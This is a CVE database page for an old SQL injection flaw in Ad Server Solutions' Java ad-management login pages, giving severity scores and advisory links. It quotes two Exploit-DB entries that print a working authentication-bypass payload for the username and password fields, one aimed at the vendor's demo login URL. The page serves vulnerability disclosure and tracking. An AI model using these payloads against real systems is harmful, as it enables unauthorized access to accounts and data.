CVE-2008-6365
published 2009-03-02CVE-2008-6365: SQL injection vulnerability in logon.jsp in Ad Server Solutions Ad Management Software Java allows remote attackers to execute arbitrary SQL commands via the…
PriorityP348high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
3.35%
87.2th percentile
SQL injection vulnerability in logon.jsp in Ad Server Solutions Ad Management Software Java allows remote attackers to execute arbitrary SQL commands via the (1) username and (2) password, related to the uname or pass parameters to logon.jsp or logon_processing.jsp. NOTE: some of these details are obtained from third party information.
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Ad Management Java - Authentication Bypass
exploitdb·2008-12-11
CVE-2008-6365 Ad Management Java - Authentication Bypass
Ad Management Java - Authentication Bypass
---
[☢] ☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢{بسم الله الرØمن الرØيم}☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢
[~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
[~]Vendor: www.adserversolutions.com
[~]Software: Ad Management Java
[~]author: ((Ñ3d D3v!L))
[~] Date: 28.11.2008
[~] Home: www.ahacker.biz
[~] contact: N/A
[~]☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠{R0}☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠â˜
[~] Exploit:
[~] username: r0' or ' 1=1--
[~] password: r0' or ' 1=1--
[☠] login 4 d3m0:
www.adserversolutions.com/admgmt_460/logon.jsp
[~]-----------
Exploit-DB
Multiple Ad Server Solutions Products - 'logon_processing.jsp' SQL Injection
exploitdb·2008-12-11
CVE-2008-6366 Multiple Ad Server Solutions Products - 'logon_processing.jsp' SQL Injection
Multiple Ad Server Solutions Products - 'logon_processing.jsp' SQL Injection
---
source: https://www.securityfocus.com/bid/32782/info
Multiple Ad Server Solutions products are prone to SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The following Ad Server Solutions products are vulnerable:
Ad Management Software
Affiliate Software
The following example data is available:
username: r0' or ' 1=1--
password: r0' or ' 1=1--
No writeups or analysis indexed.
http://secunia.com/advisories/33072http://www.securityfocus.com/bid/32790https://exchange.xforce.ibmcloud.com/vulnerabilities/47282https://www.exploit-db.com/exploits/7424http://secunia.com/advisories/33072http://www.securityfocus.com/bid/32790https://exchange.xforce.ibmcloud.com/vulnerabilities/47282https://www.exploit-db.com/exploits/7424
2009-03-02
Published